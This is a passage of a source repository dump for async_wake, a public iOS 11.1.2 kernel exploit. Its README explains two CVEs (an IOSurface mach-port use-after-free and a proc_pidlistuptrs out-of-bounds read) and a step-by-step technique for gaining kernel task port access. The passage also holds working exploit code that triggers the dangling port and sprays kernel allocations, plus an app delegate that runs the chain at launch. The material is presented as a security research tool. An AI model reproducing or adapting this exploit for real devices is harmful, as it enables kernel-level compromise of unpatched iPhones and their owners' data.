"$(PROJECT_DIR)/async_wake_ios/binaries", 424 | ); 425 | OTHER_LDFLAGS = ( 426 | "-framework", 427 | IOKit, 428 | ); 429 | PRODUCT_BUNDLE_IDENTIFIER = "com.ninjaprawn.async-wake-ios"; 430 | PRODUCT_NAME = "$(TARGET_NAME)"; 431 | TARGETED_DEVICE_FAMILY = "1,2"; 432 | }; 433 | name = Release; 434 | }; 435 | /* End XCBuildConfiguration section */ 436 | 437 | /* Begin XCConfigurationList section */ 438 | B07A02341FB09B6F0018ACE5 /* Build configuration list for PBXProject "async_wake_ios" */ = { 439 | isa = XCConfigurationList; 440 | buildConfigurations = ( 441 | B07A024D1FB09B6F0018ACE5 /* Debug */, 442 | B07A024E1FB09B6F0018ACE5 /* Release */, 443 | ); 444 | defaultConfigurationIsVisible = 0; 445 | defaultConfigurationName = Release; 446 | }; 447 | B07A024F1FB09B6F0018ACE5 /* Build configuration list for PBXNativeTarget "async_wake_ios" */ = { 448 | isa = XCConfigurationList; 449 | buildConfigurations = ( 450 | B07A02501FB09B6F0018ACE5 /* Debug */, 451 | B07A02511FB09B6F0018ACE5 /* Release */, 452 | ); 453 | defaultConfigurationIsVisible = 0; 454 | defaultConfigurationName = Release; 455 | }; 456 | /* End XCConfigurationList section */ 457 | }; 458 | rootObject = B07A02311FB09B6F0018ACE5 /* Project object */; 459 | } 460 | -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ninjaprawn/async_wake-fun/6ffb822e153fd98fc6f9d09604317f316c3b0577/async_wake_ios.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/project.xcworkspace/xcuserdata/ninja.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ninjaprawn/async_wake-fun/6ffb822e153fd98fc6f9d09604317f316c3b0577/async_wake_ios.xcodeproj/project.xcworkspace/xcuserdata/ninja.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 8 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | async_wake_ios.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/xcuserdata/ninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 8 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/xcuserdata/ninja.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | async_wake_ios.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /async_wake_ios/AppDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface AppDelegate : UIResponder 4 | 5 | @property (strong, nonatomic) UIWindow *window; 6 | 7 | 8 | @end 9 | 10 | -------------------------------------------------------------------------------- /async_wake_ios/AppDelegate.m: -------------------------------------------------------------------------------- 1 | #import "AppDelegate.h" 2 | #include "async_wake.h" 3 | #include "fun.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #import 11 | 12 | @interface AppDelegate () 13 | 14 | @end 15 | 16 | @implementation AppDelegate 17 | 18 | 19 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 20 | // Override point for customization after application launch. 21 | 22 | mach_port_t user_client; 23 | mach_port_t tfp0 = get_tfp0(&user_client); 24 | 25 | // NSLog(@"%d - %d - %d", sizeof(off_t), sizeof(uid_t), sizeof(gid_t)); 26 | 27 | 28 | let_the_fun_begin(tfp0, user_client); 29 | 30 | NSLog(@" ♫ KPP never bothered me anyway... ♫ "); 31 | 32 | // [@"test" writeToFile:@"/testingfiles" atomically:YES encoding:NSUTF8StringEncoding error:NULL]; 33 | 34 | // the app seems to remain even after stopped by xcode - we'll just force it to quit 35 | kill(getpid(), SIGKILL); 36 | 37 | return YES; 38 | } 39 | 40 | 41 | - (void)applicationWillResignActive:(UIApplication *)application { 42 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 43 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 44 | } 45 | 46 | 47 | - (void)applicationDidEnterBackground:(UIApplication *)application { 48 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 49 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 50 | } 51 | 52 | 53 | - (void)applicationWillEnterForeground:(UIApplication *)application { 54 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 55 | } 56 | 57 | 58 | - (void)applicationDidBecomeActive:(UIApplication *)application { 59 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 60 | } 61 | 62 | 63 | - (void)applicationWillTerminate:(UIApplication *)application { 64 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 65 | } 66 | 67 | 68 | @end 69 | -------------------------------------------------------------------------------- /async_wake_ios/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | "size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "idiom" : "iphone", 35 | "size" : "60x60", 36 | "scale" : "2x" 37 | }, 38 | { 39 | "idiom" : "iphone", 40 | "size" : "60x60", 41 | "scale" : "3x" 42 | }, 43 | { 44 | "idiom" : "ipad", 45 | "size" : "20x20", 46 | "scale" : "1x" 47 | }, 48 | { 49 | "idiom" : "ipad", 50 | "size" : "20x20", 51 | "scale" : "2x" 52 | }, 53 | { 54 | "idiom" : "ipad", 55 | "size" : "29x29", 56 | "scale" : "1x" 57 | }, 58 | { 59 | "idiom" : "ipad", 60 | "size" : "29x29", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "idiom" : "ipad", 65 | "size" : "40x40", 66 | "scale" : "1x" 67 | }, 68 | { 69 | "idiom" : "ipad", 70 | "size" : "40x40", 71 | "scale" : "2x" 72 | }, 73 | { 74 | "idiom" : "ipad", 75 | "size" : "76x76", 76 | "scale" : "1x" 77 | }, 78 | { 79 | "idiom" : "ipad", 80 | "size" : "76x76", 81 | "scale" : "2x" 82 | }, 83 | { 84 | "idiom" : "ipad", 85 | "size" : "83.5x83.5", 86 | "scale" : "2x" 87 | }, 88 | { 89 | "idiom" : "ios-marketing", 90 | "size" : "1024x1024", 91 | "scale" : "1x" 92 | } 93 | ], 94 | "info" : { 95 | "version" : 1, 96 | "author" : "xcode" 97 | } 98 | } -------------------------------------------------------------------------------- /async_wake_ios/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /async_wake_ios/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /async_wake_ios/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | CFBundleName 14 | $(PRODUCT_NAME) 15 | CFBundlePackageType 16 | APPL 17 | CFBundleShortVersionString 18 | 1.0 19 | CFBundleVersion 20 | 1 21 | LSRequiresIPhoneOS 22 | 23 | UILaunchStoryboardName 24 | LaunchScreen 25 | UIMainStoryboardFile 26 | Main 27 | UIRequiredDeviceCapabilities 28 | 29 | armv7 30 | 31 | UISupportedInterfaceOrientations 32 | 33 | UIInterfaceOrientationPortrait 34 | UIInterfaceOrientationLandscapeLeft 35 | UIInterfaceOrientationLandscapeRight 36 | 37 | UISupportedInterfaceOrientations~ipad 38 | 39 | UIInterfaceOrientationPortrait 40 | UIInterfaceOrientationPortraitUpsideDown 41 | UIInterfaceOrientationLandscapeLeft 42 | UIInterfaceOrientationLandscapeRight 43 | 44 | UISupportsDocumentBrowser 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /async_wake_ios/README: -------------------------------------------------------------------------------- 1 | async_wake - iOS 11.1.2 kernel exploit and PoC local kernel debugger by @i41nbeer 2 | 3 | Supported Devices: 4 | tfp0: all 64-bit devices running 11.1.2 5 | 6 | tfp0 + local kernel debugger: the devices I have on my desk running 11.1.2 (iPhone 7, iPhone 6s, iPod Touch 6G) 7 | theoretically it will also work for all other devices, you just need to find the symbols 8 | 9 | PoC local kernel debugger: 10 | You can pause the execution of a syscall at arbitrary points and modify kernel state (registers and memory) then continue it. 11 | See kdbg.c for details and implementation. 12 | 13 | The bugs: 14 | 15 | === CVE-2017-13861 === 16 | [https://bugs.chromium.org/p/project-zero/issues/detail?id=1417] 17 | 18 | I have previously detailed the lifetime management paradigms in MIG in the writeups for: 19 | CVE-2016-7612 [https://bugs.chromium.org/p/project-zero/issues/detail?id=926] 20 | and 21 | CVE-2016-7633 [https://bugs.chromium.org/p/project-zero/issues/detail?id=954] 22 | 23 | If a MIG method returns KERN_SUCCESS it means that the method took ownership of *all* the arguments passed to it. 24 | If a MIG method returns an error code, then it took ownership of *none* of the arguments passed to it. 25 | 26 | If an IOKit userclient external method takes an async wake mach port argument then the lifetime of the reference 27 | on that mach port passed to the external method will be managed by MIG semantics. If the external method returns 28 | an error then MIG will assume that the reference was not consumed by the external method and as such the MIG 29 | generated coode will drop a reference on the port. 30 | 31 | IOSurfaceRootUserClient external method 17 (s_set_surface_notify) will drop a reference on the wake_port 32 | (via IOUserClient::releaseAsyncReference64) then return an error code if the client has previously registered 33 | a port with the same callback function. 34 | 35 | The external method's error return value propagates via the return value of is_io_connect_async_method back to the 36 | MIG generated code which will drop a futher reference on the wake_port when only one was taken. 37 | 38 | I also use another bug: 39 | 40 | === CVE-2017-13865 === 41 | [https://bugs.chromium.org/p/project-zero/issues/detail?id=1372] 42 | the kernel libproc API proc_list_uptrs has the following comment in it's userspace header: 43 | 44 | /* 45 | * Enumerate potential userspace pointers embedded in kernel data structures. 46 | * Currently inspects kqueues only. 47 | * 48 | * NOTE: returned "pointers" are opaque user-supplied values and thus not 49 | * guaranteed to address valid objects or be pointers at all. 50 | * 51 | * Returns the number of pointers found (which may exceed buffersize), or -1 on 52 | * failure and errno set appropriately. 53 | */ 54 | 55 | This is a recent addition to the kernel, presumably as a debugging tool to help enumerate 56 | places where the kernel is accidentally disclosing pointers to userspace. 57 | 58 | The implementation currently enumerates kqueues and dumps a bunch of values from them. 59 | 60 | Here's the relevant code: 61 | 62 | // buffer and buffersize are attacker controlled 63 | 64 | int 65 | proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval) 66 | { 67 | uint32_t count = 0; 68 | int error = 0; 69 | void *kbuf = NULL; 70 | int32_t nuptrs = 0; 71 | 72 | if (buffer != USER_ADDR_NULL) { 73 | count = buffersize / sizeof(uint64_t); <---(a) 74 | if (count > MAX_UPTRS) { 75 | count = MAX_UPTRS; 76 | buffersize = count * sizeof(uint64_t); 77 | } 78 | if (count > 0) { 79 | kbuf = kalloc(buffersize); <--- (b) 80 | assert(kbuf != NULL); 81 | } 82 | } else { 83 | buffersize = 0; 84 | } 85 | 86 | nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize); 87 | 88 | if (kbuf) { 89 | size_t copysize; 90 | if (os_mul_overflow(nuptrs, sizeof(uint64_t), ©size)) { <--- (c) 91 | error = ERANGE; 92 | goto out; 93 | } 94 | if (copysize > buffersize) { <-- (d) 95 | copysize = buffersize; 96 | } 97 | error = copyout(kbuf, buffer, copysize); <--- (e) 98 | } 99 | 100 | 101 | At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's 102 | which can fit in there. 103 | 104 | If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b). 105 | 106 | kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of 107 | kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger 108 | than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf. 109 | 110 | This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf 111 | but how many *could* have been written had the buffer been big enough. 112 | 113 | If there were possible values which could have been written than there was space in the buffer then at (d) copysize 114 | will be limited down to buffersize. 115 | 116 | Copysize is then used at (e) to copy the contents of kbuf to userspace. 117 | 118 | The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1 119 | as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes. 120 | 121 | If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will 122 | only write to the first value to kbuf, leaving the last 7 bytes untouched. 123 | 124 | At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15) 125 | and at (e) 15 bytes will be copied back to userspace even though only 8 were written to. 126 | 127 | 128 | Exploit technique: 129 | I use the proc_pidlistuptrs bug to disclose the address of arbitrary ipc_ports. This makes stuff a lot simpler :) 130 | To find a port address I fill a bunch of different-sized kalloc allocations with a pointer to the target port via mach messages using OOL_PORTS. 131 | 132 | I then trigger the OOB read bug for various kalloc sizes and look for the most commonly leaked kernel pointer. Given the 133 | semantics of kalloc this works well. 134 | 135 | I make a pretty large number of kalloc allocations (via sending mach messages) in a kalloc size bin I won't use later, and I keep hold of them for now. 136 | 137 | I allocate a bunch of mach ports to ensure that I have a page containing only my ports. I use the port address disclosure to find 138 | a port which fits within particular bounds on a page. Once I've found it, I use the IOSurface bug to give myself a dangling pointer to that port. 139 | 140 | I free the kalloc allocations made earlier and all the other ports then start making kalloc.4096 allocations (again via crafted mach messages.) 141 | 142 | I do the reallocation slowly, 1MB at a time so that a kernel zone garbage collection will trigger and collect the page that the dangling pointer points to. 143 | 144 | The GC will trigger when the zone map is over 95% full. It's easy to do that, the trick is to make sure there's plenty of stuff which the GC can collect 145 | so that you don't get immediately killed by jetsam. All devices have the same sized zone map (384MB). 146 | 147 | The replacement kalloc.4096 allocations are ipc_kmsg buffers which contain a fake IKOT_TASK port pointing to a fake struct task. 148 | I use the bsdinfo->pid trick to build an arbitrary read with this (see details in async_wake.c.) 149 | 150 | With the arbitrary read I find the kernel task's vm_map and the kernel ipc_space. I then free and reallocate the kalloc.4096 buffer replacing it with a fake 151 | kernel task port. 152 | 153 | Limitations: 154 | The technique should work reliably enough for a security research tool. For me it works about 9/10 times. If you run it multiple times without rebooting, 155 | it will probably panic, the GC forcing and reallocating trick isn't particularly advanced. 156 | 157 | It's more likely to work after a fresh reboot. 158 | 159 | The tfp0 returned by get_kernel_memory_rw should be safe to keep using after the exploit process has exited, but I haven't tested that. 160 | 161 | Porting to other devices: 162 | 163 | Getting tfp0 should work for all devices running 11.1.2, it only requires structure offsets, not kernel symbols, which are unlikely to change between devices. 164 | To port the PoC kernel debugger you need to find the correct symbols and update symbols.c, hints are given there. 165 | 166 | For further discussion of this bug and other exploit techniques see: 167 | http://blog.pangu.io/iosurfacerootuserclient-port-uaf/ 168 | https://siguza.github.io/v0rtex/ 169 | -------------------------------------------------------------------------------- /async_wake_ios/ViewController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface ViewController : UIViewController 4 | 5 | 6 | @end 7 | 8 | -------------------------------------------------------------------------------- /async_wake_ios/ViewController.m: -------------------------------------------------------------------------------- 1 | #import "ViewController.h" 2 | #include 3 | #include "kmem.h" 4 | 5 | @interface ViewController () 6 | 7 | @end 8 | 9 | @implementation ViewController 10 | 11 | - (void)viewDidLoad { 12 | [super viewDidLoad]; 13 | // Do any additional setup after loading the view, typically from a nib. 14 | } 15 | 16 | 17 | - (void)didReceiveMemoryWarning { 18 | printf("******* received memory warning! ***********\n"); 19 | [super didReceiveMemoryWarning]; 20 | // Dispose of any resources that can be recreated. 21 | } 22 | 23 | - (IBAction)panic:(id)sender { 24 | for (int i = 0; i<0xff; i++) { 25 | rk64(0xFFFFFFF007004000 + i*0x100000); 26 | } 27 | } 28 | 29 | @end 30 | -------------------------------------------------------------------------------- /async_wake_ios/arm64_state.h: -------------------------------------------------------------------------------- 1 | #ifndef arm64_state_h 2 | #define arm64_state_h 3 | 4 | /* 5 | * GPR context 6 | */ 7 | 8 | struct arm_saved_state32 { 9 | uint32_t r[13]; /* General purpose register r0-r12 */ 10 | uint32_t sp; /* Stack pointer r13 */ 11 | uint32_t lr; /* Link register r14 */ 12 | uint32_t pc; /* Program counter r15 */ 13 | uint32_t cpsr; /* Current program status register */ 14 | uint32_t far; /* Virtual fault address */ 15 | uint32_t esr; /* Exception syndrome register */ 16 | uint32_t exception; /* Exception number */ 17 | }; 18 | typedef struct arm_saved_state32 arm_saved_state32_t; 19 | 20 | struct arm_saved_state32_tagged { 21 | uint32_t tag; 22 | struct arm_saved_state32 state; 23 | }; 24 | typedef struct arm_saved_state32_tagged arm_saved_state32_tagged_t; 25 | 26 | #define ARM_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 27 | (sizeof (arm_saved_state32_t)/sizeof(unsigned int))) 28 | 29 | struct arm_saved_state64 { 30 | uint64_t x[29]; /* General purpose registers x0-x28 */ 31 | uint64_t fp; /* Frame pointer x29 */ 32 | uint64_t lr; /* Link register x30 */ 33 | uint64_t sp; /* Stack pointer x31 */ 34 | uint64_t pc; /* Program counter */ 35 | uint32_t cpsr; /* Current program status register */ 36 | uint32_t reserved; /* Reserved padding */ 37 | uint64_t far; /* Virtual fault address */ 38 | uint32_t esr; /* Exception syndrome register */ 39 | uint32_t exception; /* Exception number */ 40 | }; 41 | typedef struct arm_saved_state64 arm_saved_state64_t; 42 | 43 | #define ARM_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \ 44 | (sizeof (arm_saved_state64_t)/sizeof(unsigned int))) 45 | 46 | struct arm_saved_state { 47 | arm_state_hdr_t ash; 48 | union { 49 | struct arm_saved_state32 ss_32; 50 | struct arm_saved_state64 ss_64; 51 | } uss; 52 | } __attribute__((aligned(16))); 53 | #define ss_32 uss.ss_32 54 | #define ss_64 uss.ss_64 55 | 56 | typedef struct arm_saved_state arm_saved_state_t; 57 | 58 | /* 59 | * NEON context 60 | */ 61 | typedef __uint128_t uint128_t; 62 | typedef uint64_t uint64x2_t __attribute__((ext_vector_type(2))); 63 | typedef uint32_t uint32x4_t __attribute__((ext_vector_type(4))); 64 | 65 | struct arm_neon_saved_state32 { 66 | union { 67 | uint128_t q[16]; 68 | uint64_t d[32]; 69 | uint32_t s[32]; 70 | } v; 71 | uint32_t fpsr; 72 | uint32_t fpcr; 73 | }; 74 | typedef struct arm_neon_saved_state32 arm_neon_saved_state32_t; 75 | 76 | #define ARM_NEON_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 77 | (sizeof (arm_neon_saved_state32_t)/sizeof(unsigned int))) 78 | 79 | struct arm_neon_saved_state64 { 80 | union { 81 | uint128_t q[32]; 82 | uint64x2_t d[32]; 83 | uint32x4_t s[32]; 84 | } v; 85 | uint32_t fpsr; 86 | uint32_t fpcr; 87 | }; 88 | typedef struct arm_neon_saved_state64 arm_neon_saved_state64_t; 89 | 90 | #define ARM_NEON_SAVED_STATE64_COUNT ((mach_msg_type_number_t) \ 91 | (sizeof (arm_neon_saved_state64_t)/sizeof(unsigned int))) 92 | 93 | struct arm_neon_saved_state { 94 | arm_state_hdr_t nsh; 95 | union { 96 | struct arm_neon_saved_state32 ns_32; 97 | struct arm_neon_saved_state64 ns_64; 98 | } uns; 99 | }; 100 | typedef struct arm_neon_saved_state arm_neon_saved_state_t; 101 | #define ns_32 uns.ns_32 102 | #define ns_64 uns.ns_64 103 | 104 | struct arm_context { 105 | struct arm_saved_state ss; 106 | struct arm_neon_saved_state ns; 107 | }; 108 | typedef struct arm_context arm_context_t; 109 | 110 | #define ARM_SAVED_STATE64 0x15 111 | 112 | #define ARM_DEBUG_STATE64 15 113 | const uint64_t ACT_DEBUGDATA_OFFSET = 0x438; 114 | 115 | struct arm64_debug_state 116 | { 117 | __uint64_t bvr[16]; 118 | __uint64_t bcr[16]; 119 | __uint64_t wvr[16]; 120 | __uint64_t wcr[16]; 121 | __uint64_t mdscr_el1; /* Bit 0 is SS (Hardware Single Step) */ 122 | }; 123 | 124 | struct arm_debug_aggregate_state { 125 | arm_state_hdr_t dsh; 126 | struct arm64_debug_state ds64; 127 | } __attribute__((aligned(16))); 128 | 129 | 130 | 131 | #endif 132 | -------------------------------------------------------------------------------- /async_wake_ios/async_wake.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #import 6 | #import 7 | #import 8 | #import 9 | #import 10 | #import 11 | #import 12 | 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "async_wake.h" 20 | #include "kmem.h" 21 | #include "find_port.h" 22 | #include "kutils.h" 23 | #include "symbols.h" 24 | #include "early_kalloc.h" 25 | #include "kcall.h" 26 | #include "kdbg.h" 27 | 28 | // various prototypes and structure definitions for missing iOS headers: 29 | 30 | kern_return_t mach_vm_read( 31 | vm_map_t target_task, 32 | mach_vm_address_t address, 33 | mach_vm_size_t size, 34 | vm_offset_t *data, 35 | mach_msg_type_number_t *dataCnt); 36 | 37 | /****** IOKit/IOKitLib.h *****/ 38 | typedef mach_port_t io_service_t; 39 | typedef mach_port_t io_connect_t; 40 | 41 | extern const mach_port_t kIOMasterPortDefault; 42 | #define IO_OBJECT_NULL (0) 43 | 44 | kern_return_t 45 | IOConnectCallAsyncMethod( 46 | mach_port_t connection, 47 | uint32_t selector, 48 | mach_port_t wakePort, 49 | uint64_t* reference, 50 | uint32_t referenceCnt, 51 | const uint64_t* input, 52 | uint32_t inputCnt, 53 | const void* inputStruct, 54 | size_t inputStructCnt, 55 | uint64_t* output, 56 | uint32_t* outputCnt, 57 | void* outputStruct, 58 | size_t* outputStructCntP); 59 | 60 | kern_return_t 61 | IOConnectCallMethod( 62 | mach_port_t connection, 63 | uint32_t selector, 64 | const uint64_t* input, 65 | uint32_t inputCnt, 66 | const void* inputStruct, 67 | size_t inputStructCnt, 68 | uint64_t* output, 69 | uint32_t* outputCnt, 70 | void* outputStruct, 71 | size_t* outputStructCntP); 72 | 73 | io_service_t 74 | IOServiceGetMatchingService( 75 | mach_port_t _masterPort, 76 | CFDictionaryRef matching); 77 | 78 | CFMutableDictionaryRef 79 | IOServiceMatching( 80 | const char* name); 81 | 82 | kern_return_t 83 | IOServiceOpen( 84 | io_service_t service, 85 | task_port_t owningTask, 86 | uint32_t type, 87 | io_connect_t* connect ); 88 | 89 | 90 | /******** end extra headers ***************/ 91 | 92 | mach_port_t user_client = MACH_PORT_NULL; 93 | 94 | // make_dangling will drop an extra reference on port 95 | // this is the actual bug: 96 | void make_dangling(mach_port_t port) { 97 | kern_return_t err; 98 | 99 | uint64_t inputScalar[16]; 100 | uint32_t inputScalarCnt = 0; 101 | 102 | char inputStruct[4096]; 103 | size_t inputStructCnt = 0x18; 104 | 105 | uint64_t* ivals = (uint64_t*)inputStruct; 106 | ivals[0] = 1; 107 | ivals[1] = 2; 108 | ivals[2] = 3; 109 | 110 | uint64_t outputScalar[16]; 111 | uint32_t outputScalarCnt = 0; 112 | 113 | char outputStruct[4096]; 114 | size_t outputStructCnt = 0; 115 | 116 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 117 | 118 | uint64_t reference[8] = {0}; 119 | uint32_t referenceCnt = 1; 120 | 121 | for (int i = 0; i < 2; i++) { 122 | err = IOConnectCallAsyncMethod( 123 | user_client, 124 | 17, // s_set_surface_notify 125 | port, 126 | reference, 127 | referenceCnt, 128 | inputScalar, 129 | inputScalarCnt, 130 | inputStruct, 131 | inputStructCnt, 132 | outputScalar, 133 | &outputScalarCnt, 134 | outputStruct, 135 | &outputStructCnt); 136 | 137 | printf("%x\n", err); 138 | }; 139 | 140 | err = IOConnectCallMethod( 141 | user_client, 142 | 18, // s_remove_surface_notify 143 | inputScalar, 144 | inputScalarCnt, 145 | inputStruct, 146 | inputStructCnt, 147 | outputScalar, 148 | &outputScalarCnt, 149 | outputStruct, 150 | &outputStructCnt); 151 | 152 | printf("%x\n", err); 153 | } 154 | 155 | void prepare_user_client() { 156 | kern_return_t err; 157 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 158 | 159 | if (service == IO_OBJECT_NULL){ 160 | printf(" [-] unable to find service\n"); 161 | exit(EXIT_FAILURE); 162 | } 163 | 164 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 165 | if (err != KERN_SUCCESS){ 166 | printf(" [-] unable to get user client connection\n"); 167 | exit(EXIT_FAILURE); 168 | } 169 | 170 | 171 | printf("got user client: 0x%x\n", user_client); 172 | } 173 | 174 | mach_port_t* prepare_ports(int n_ports) { 175 | mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t)); 176 | for (int i = 0; i < n_ports; i++) { 177 | kern_return_t err; 178 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]); 179 | if (err != KERN_SUCCESS) { 180 | printf(" [-] failed to allocate port\n"); 181 | exit(EXIT_FAILURE); 182 | } 183 | } 184 | return ports; 185 | } 186 | 187 | void free_ports(mach_port_t* ports, int n_ports) { 188 | for (int i = 0; i < n_ports; i++) { 189 | mach_port_t port = ports[i]; 190 | if (port == MACH_PORT_NULL) { 191 | continue; 192 | } 193 | 194 | mach_port_destroy(mach_task_self(), port); 195 | } 196 | } 197 | 198 | struct simple_msg { 199 | mach_msg_header_t hdr; 200 | char buf[0]; 201 | }; 202 | 203 | mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size) { 204 | // allocate a port to send the messages to 205 | mach_port_t q = MACH_PORT_NULL; 206 | kern_return_t err; 207 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); 208 | if (err != KERN_SUCCESS) { 209 | printf(" [-] failed to allocate port\n"); 210 | exit(EXIT_FAILURE); 211 | } 212 | 213 | mach_port_limits_t limits = {0}; 214 | limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; 215 | err = mach_port_set_attributes(mach_task_self(), 216 | q, 217 | MACH_PORT_LIMITS_INFO, 218 | (mach_port_info_t)&limits, 219 | MACH_PORT_LIMITS_INFO_COUNT); 220 | if (err != KERN_SUCCESS) { 221 | printf(" [-] failed to increase queue limit\n"); 222 | exit(EXIT_FAILURE); 223 | } 224 | 225 | 226 | mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size; 227 | struct simple_msg* msg = malloc(msg_size); 228 | memset(msg, 0, sizeof(struct simple_msg)); 229 | memcpy(&msg->buf[0], replacer_message_body, replacer_body_size); 230 | 231 | for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE 232 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 233 | msg->hdr.msgh_size = msg_size; 234 | msg->hdr.msgh_remote_port = q; 235 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 236 | msg->hdr.msgh_id = 0x41414142; 237 | 238 | err = mach_msg(&msg->hdr, 239 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 240 | msg_size, 241 | 0, 242 | MACH_PORT_NULL, 243 | MACH_MSG_TIMEOUT_NONE, 244 | MACH_PORT_NULL); 245 | 246 | if (err != KERN_SUCCESS) { 247 | printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err)); 248 | exit(EXIT_FAILURE); 249 | } 250 | } 